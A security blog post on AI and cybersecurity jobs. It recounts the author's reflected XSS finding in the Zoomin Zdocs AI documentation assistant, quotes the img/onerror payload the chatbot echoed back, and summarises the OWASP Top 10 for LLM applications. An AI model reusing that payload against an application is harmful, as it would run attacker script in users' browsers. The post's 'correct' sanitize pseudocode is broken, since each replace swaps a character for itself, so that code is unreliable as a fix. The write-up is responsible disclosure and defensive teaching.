Will AI Take Over Jobs in Cybersecurity? Quite the Opposite – Example of XSS in Zoomin!

In the context of the growing role of artificial intelligence (AI) in various fields, the question of its impact on the job market in cybersecurity is becoming increasingly relevant. On one hand, automation and intelligent systems can significantly speed up and streamline processes related to data and IT infrastructure protection. On the other hand, there is concern that AI could replace humans in some functions, leading to a reduction in available jobs. From my observations, it will be quite the opposite (at least for security professionals)!

AI Capabilities in Cybersecurity

AI has the ability to analyze vast amounts of data in a short time, which is crucial in cybersecurity where quick response to threats is often decisive. Machine learning algorithms can detect previously unknown threats based on behavior patterns and historical data analysis. This allows for faster and more precise identification and response to security incidents. Automating threat analysis and response processes may reduce jobs for lower-level security analysts who handle routine monitoring and alarm response. However, new specialties such as machine learning engineering in cybersecurity, managing intelligent defense systems, and advanced threat analysis using AI are emerging. Professionals will need to not only understand the workings of modern AI tools but also develop and adapt them to specific security needs.

Code Generation Automation = More Security Bugs + New Vulnerability Classes

Errors Introduced by Automatic Tools

Never before has application development been so easy, accessible to non-technical people, and fast. This leads to a “boom” of new applications. This is accompanied by a surge in introducing AI elements into existing software. However, automation, especially in the form of code generators or development frameworks, can lead to unintended errors and security vulnerabilities. These tools, operating based on established patterns and algorithms, may not consider specific security conditions or nuances understood and applied by experienced developers. For example, automatically generated code may not be adequately protected against attacks such as SQL Injection or Cross-site Scripting (XSS) if the tool is not properly configured to address these threats.

XSS in Zoomin Zdocs

An example of such an error, where AI is being hastily implemented, is a simple “Reflected Cross-site Scripting” found by me in the Zoomin Zdocs application. Introducing an AI assistant to handle documentation for an application seems like a great idea, where we can learn how to use the software by asking questions. However, it must be remembered that AI responses can be somewhat unpredictable and cause security issues. In the Zoomin application, it was enough to ask the assistant about –

<img src=1 href=1 onerror="javascript:alert(document.domain)"></img>?

for it to reply that it could not find an answer to our question, quoting it:

I'm sorry, but I couldn't find a definitive answer to: <img src=1 href=1 onerror="javascript:alert(document.domain)"></img>?. Please provide more context or clarify your query.

As you can see, the input data was not properly validated and sanitized, which resulted in the execution of the injected JavaScript code:

Example pseudocode with incorrect response display:

function displayResponse(userInput):
# Load user input
query = userInput
# Display response without input sanitation
# This is incorrect as it allows script execution in userInput
print("Answer to your question: " + query)

Example pseudocode with correct response display:

function sanitize(input):
# Remove or encode special HTML characters in the input, e.g., <, >, ", ' and others
return input.replace("<", "<").replace(">", ">").replace("\"", """).replace("'", "'")
function displayResponse(userInput):
# Load user input
query = userInput
# Sanitize input
safeQuery = sanitize(query)
# Safely display response
# Sanitization prevents execution of malicious code
print("Answer to your question: " + safeQuery)

The vulnerability (along with a series of others) was reported and patched by the manufacturer.

Error Replication

One of the main drawbacks of automation is the replication of the same code in many places, which can lead to widespread dissemination of errors or vulnerabilities. When a bug is found in a code-generating component (and AI can be trained on buggy code), every application or system using that code is potentially at risk. This phenomenon scales the security problem, making it harder to manage and fix.

Challenges in Auditing and Code Review

Automatically generated code is often complex or generated in a way that is not intuitive to “human” programmers. This can hinder manual code reviews, which are crucial in identifying subtle logical errors or security vulnerabilities. Lack of transparency and understanding of generated code can lead to overlooking significant issues during security testing.

New Classes of Vulnerabilities

Automation can introduce new classes of vulnerabilities that would be less likely with manual code creation. For example, dependencies between automatically generated modules may not be fully understood or controlled by developers, opening the door for dependency and logic-related attacks. New vulnerability classes such as “prompt injection” are also emerging.

OWASP Top 10 for Large Language Model Applications

A year ago, OWASP began working to identify and issue recommendations to protect against the greatest threats from using LLMA – OWASP Top 10 for LLM. The list is as follows:

LLM01: Prompt Injection

Manipulating a large language model (LLM) through appropriate input causes unintended actions by the LLM. Direct injections overwrite system prompts, while indirect ones manipulate data from external sources.

LLM02: Unsafe Output Handling

Vulnerability occurs when LLM output is accepted without verification, which can expose backend systems. Abuse can lead to serious consequences such as XSS, CSRF, SSRF, privilege escalation, or remote code execution.

LLM03: Training Data Poisoning

Occurs when LLM training data is manipulated, introducing vulnerabilities or errors affecting security, effectiveness, or ethical behavior. Sources include Common Crawl, WebText, OpenWebText, and books.

LLM04: Model Delegation

Attackers cause resource-intensive operations on LLM, leading to service degradation or high costs. Vulnerability is exacerbated by LLM’s resource intensity and unpredictability of user input.

LLM05: Supply Chain Vulnerabilities

The LLM application lifecycle can be compromised by vulnerable components or services, leading to security attacks. Using external datasets, pre-trained models, and plugins can increase the number of vulnerabilities.

LLM06: Sensitive Information Disclosure

LLM may inadvertently disclose sensitive data in its responses, leading to unauthorized data access, privacy breaches, and security violations. Implementing data sanitation and strict usage policies is key to preventing this.

LLM07: Insecure Plugin Design

LLM plugins may have unsecured inputs and insufficient access control. Lack of application control facilitates exploitation and can lead to consequences such as remote code execution.

LLM08: Excessive Autonomy

LLM-based systems can take actions leading to unintended results. The problem arises from excessive functionality, too much privilege, or autonomy given to LLM-based systems.

LLM09: Over-Reliance

Systems or individuals overly dependent on LLM without oversight may be exposed to misinformation, communication errors, legal issues, and security errors due to incorrect or inappropriate content generated by LLM.

LLM10: Model Theft

Concerns unauthorized access, copying, or theft of proprietary LLM models. Impacts include economic losses, loss of competitive advantage, and potential access to confidential information.

What to Do? How to Live?

OWASP, along with the Top 10 for LLM, issued several recommendations for a secure approach to implementing LLM in your organization – LLM AI Cybersecurity & Governance Checklist. Those related to programming are presented below:

  • Model threats to LLM components and define architecture trust boundaries.
  • Data security: check how data is classified and protected due to its sensitivity, including personal and corporate data. (How are user permissions managed and what protective mechanisms are implemented?)
  • Access control: implement access controls according to the principle of least privilege and apply layered defenses.
  • Training process security: require rigorous control of training data, processes, models, and algorithms management.
  • Input and output security: assess input validation methods and how output is filtered, sanitized, and validated.
  • Monitoring and response: map workflows, monitor, and respond to understand automation, ensure logging, and auditing. Confirm the security of audit records.
  • Include application testing, source code review, vulnerability assessment, and penetration testing in the product development process.
